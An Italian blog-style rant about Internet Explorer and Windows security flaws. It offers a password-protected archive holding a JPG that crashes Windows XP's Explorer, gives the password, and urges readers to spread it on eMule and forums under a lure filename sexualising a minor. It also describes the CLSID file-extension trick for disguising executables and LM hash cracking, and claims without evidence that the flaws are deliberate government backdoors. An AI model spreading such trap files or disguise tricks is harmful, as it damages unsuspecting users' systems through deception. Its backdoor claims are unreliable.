Ma
quanto fa schifo Internet Exploder ?
Tanto
! qui, per esempio ci
resta secco subito, qui
invece viene eseguita la calcolatrice di windows ! (é una vulnerabilitá molto
grave, altri siti possono eseguire quello che vogliono sotto il vostro naso
!)
Il
Cert, comunque ha avvisato tutti: adoperate
quello che volete ma non Internet Explorer ! [2]
Ed
ecco un altro scherzetto,
questo non manda in crash internet explorer, no, questo é un jpg di solo 68
byte che manda in crash proprio l' explorer, il "gestione risorse" di
windows xp !
L'ho
racchiuso in un rar per pietá verso di voi perché, una volta scaricato basta
passarci sopra con il cursore per mandare in crash gestione risorse ! Mi
é toccato anche mettergli una password o quegli idioti di Yahoo mi
classificavano il sito come "potrebbe danneggiare il tuo computer" !
La
password é baluba
Gli
ho anche dato un titolo invitante... potrebbe essere un idea metterlo su Emule,
cosí che chi se lo scarica... poi é sistemato !
Altrimenti
date solo il link: http://www.cryptohacker.com/18yr_lolita_naked.rar
e mettetelo in un forum:
ci
sará da divertirsi !
Perché
windows é cosí pieno di buchi ?
Diciamo
che non é propriamente un caso, ma che molte "vulnerabilitá" in
realtá sono bug VOLUTI (li chiamo "bugdoor") grazie ai quali chi
possiede le giuste informazioni puó introdursi a piacimento nei nostri computer
e fare i propri comodi
Una vulnerabilitá (voluta!)di windows
95-98, ora risolta su win2000-xp é il cosiddetto "Guninsky
bug": dando ad un programma (dati od eseguibile) un estensione particolare
si fa in modo che windows gestisca quel file in modo particolare:
per esempio cambiando il nome di un file testo readme.txt in readme.txt.{00020810-0000-0000-C000-000000000046}
windows gestirá quel file come un file di excel, pur mantenendo
il nome readme.txt e senza minimamente visualizzare i codici tra parentesi
!
Oppure
cambiargli nome in readme.txt.{645FF040-5081-101B-9F08-00AA002F954E} ed il
file diventerá un cestino!
Analogamente é possibile far passare
degli eseguibili (anche maligni) come legittimi file archivio !
Anche
le vulnerabilitá IFRAME in Outlook 5.0 (con windows 98) e
DCOM di windows
2000/2003/XP che hanno originato le grandi epidemie virali di cui parlavo sopra
mi sembrano piú backdoor studiate a tavolino che vulnerabilitá originate per
caso.
Pensiamoci
un attimo: quando uscí windows 98 le adsl non erano molto diffuse, ci si
collegava per lo piú con il telefono, si stava collegati quanto tempo bastava e
ci si scollegava.
Beccare
on line un determinato computer era alquanto difficile, il modo migliore per
propinare un trojan era via mail... e windows 98 veniva venduto con una
vulnerabilitá sfruttabile via mail (le famose "mail che si eseguivano da
sole", come qualche pollo utente di outlook express
ricorderá).
Nel
periodo in cui uscí windows XP le adsl si erano diffuse, i computer rimanevano
on line molto tempo, il modo migliore di propinare un trojan era da remoto... e
windows XP usciva con una vulnerabilitá sfruttabile da remoto (la schermata che
diceva "windows sta per riavviarsi")
Non
sono mie fantasie: un Steve Gibson, un grosso esperto di
sicurezza la pensa come me, dato che ha affermato senza mezzi termini che una
delle innumerevoli vulnerabilitá di windows, questa legata al media
player che consentiva di eseguire codice in remoto era una backdoor deliberata !
[1^]
[2^]
Non
so che tipo di licenza avete nel vostro computer, ma spesso, accedendo al computer
di conoscenti con windows xp vi sará capitato di ricevere il benvenuto da una poco simpatica
scritta che vi avverte che quella copia di windows non sia originale. É una
"innovazione" chiamata "Windows Genuine Advantage" caricata
di nascosto con agli aggiornamenti: un programma che si installa di nascosto,
raccoglie informazioni, e le spedisce di nascosto alla casa madre; in altre
parole uno spyware !
Pensiamo
ad un aspetto importante: la protezione delle password : i windows
9x permettono di proteggere le
password dei collegamenti di rete e dei servizi internet tramite i famosi file
"pwl": all'avvio di windows viene richiesta una password (la famosa
"password di rete", quella di cui tutti si chiedavano cosa servisse) e
questa password viene usata per criptare e decriptare con l'algoritmo RC4 il
file pwl, contenente tutte le password.
Sembrerebbe un sistema razionale, il
problema é i programmatori microsoft fecero un "errore": casualmente
implementarono male la crittografia e, con una minima potenza di calcolo risulta
possibile estrarre TUTTE le password memorizzate nei PWL, cosa facilmente
fattibile con programmini freeware tipo PWL-TOOL.
(Una volta scoperta la gherminella il bug dei pwl fu "corretto" con
win98)
Ma
arriviamo a windows NT, 2000 ed Xp: a differenza del 9x permettono di
proteggere gli accessi con una certa efficacia, memorizzando le password di
accesso in modo sicuro, mutuato dal sistema UNIX: non é possibile recuperare
direttamente le password, perché vengono memorizzati solo gli hash,
[1] quindi
l'unico sistema é l'attacco a
dizionario: vengono provate tutte le password
possibili ed immaginabili, generalmente da un mega elenco di tutte le parole
possibili, appunto un dizionario (per questo vi viene detto di NON usare parole comuni
nelle password !).
Quindi
se l'utente ha utilizzato una password abbastanza complessa non sará possibile
accedere alla sua password se non dopo anni ed anni di elaborazione, giusto ?
Sbagliato
!
Il
problema é che la Microsoft ha fatto un altro "errore": l' LMHASH,
che in microsoftese significa "backdoor per recuperare le vostre
password alla faccia vostra" in pratica le password vengono divise in
tronconi di max 7 caratteri, tutti i caratteri vengono trasformati in maiuscolo
e di questi tronconi viene calcolato l'hash. Questi tronconi, che sono, in
pratica scorciatoie per arrivare alle vostre password vengono aggiunti al file
SAM che contiene le credenziali d'accesso.
Se so dove cercare e recupero questi
hash-scorciatoia posso craccare password anche molto complesse in poche ore
quando, normalmente sarebbero necessari SECOLI. Naturalmente di questa
"caratteristica" la microsoft non ha fatto parola (se non con le
agenzie governative che gli commissionano le backdoor) Questa vulnerabilitá é stata
scoperta e pubblicata (assieme ad un tool per craccare le password di windows)
dal gruppo hacking L0pht.
Non
riesco a pensare ad un altra funzione di un meccanismo del genere se non di
servire da backdoor, indebolendo in maniera estrema il meccanismo con cui le
password vengono protette.
Facciamo
due conti, su quanto possa facilitare le cose questa trovata, nell'
indebolire le password di windows:
Mettiamo
che io voglia utilizzare una password forte, di 11 caratteri, maiuscole, minuscole e
numeri, per esempio Risi3Bisi74 Questa password usa il set
maiuscole+ minuscole+ numeri (26+26+10) = 62 caratteri ed é lunga 11 caratteri,
quindi una ricerca esauriente di tutte le password possibili richiederá
al massimo 6211 tentativi cioé ben 52.036.560.683.837.093.888
tentativi cioé cinquantadue miliardi di miliardi.
Ma
dopo il "trattamento" dell' LMHASH ecco che la nostra password viene
trasformata in due tronconi di 7 caratteri l'una, e tutti i caratteri diventano
maiuscoli; non sembra una riduzione da poco, ma ricordiamoci che stiamo parlando
di potenze: il set di caratteri si riduce a 26+10 = 36, la ricerca
esauriente (che viene svolta concorrentemente: i due tronconi vengono ricercati
insieme) richiederebbe quindi al massimo 367 tentativi cioé 78.364.164.096,
cioé settantotto miliardi di tentativi.
Un
potente computer capace di cercare un milione di password al secondo
impiegherebbe, nel primo caso (senza LMHASH) cinquantaduemila miliardi di
secondi, ovvero un milione e seicentocinquantamila anni.
Nel
secondo caso (con LMHASH) settantottomila secondi, ovvero ventuno ore.
Ogni
commento mi pare superfluo: per di piú la Microsoft, dimostrando di avere una
faccia di culo non da poco ha introdotto, con windows 2000 la "policy
password sicura", con cui in pratica l'utente viene obbligato ad introdurre una
password lunga e sicura, come quella vista sopra, dimostrando di preoccuparsi
per la nostra sicurezza e privacy, sapendo bene peró che, grazie ai loro
trucchetti un furbastro imbeccato da loro (polizia ed agenzie governative)
potrá craccare la password in una giornata.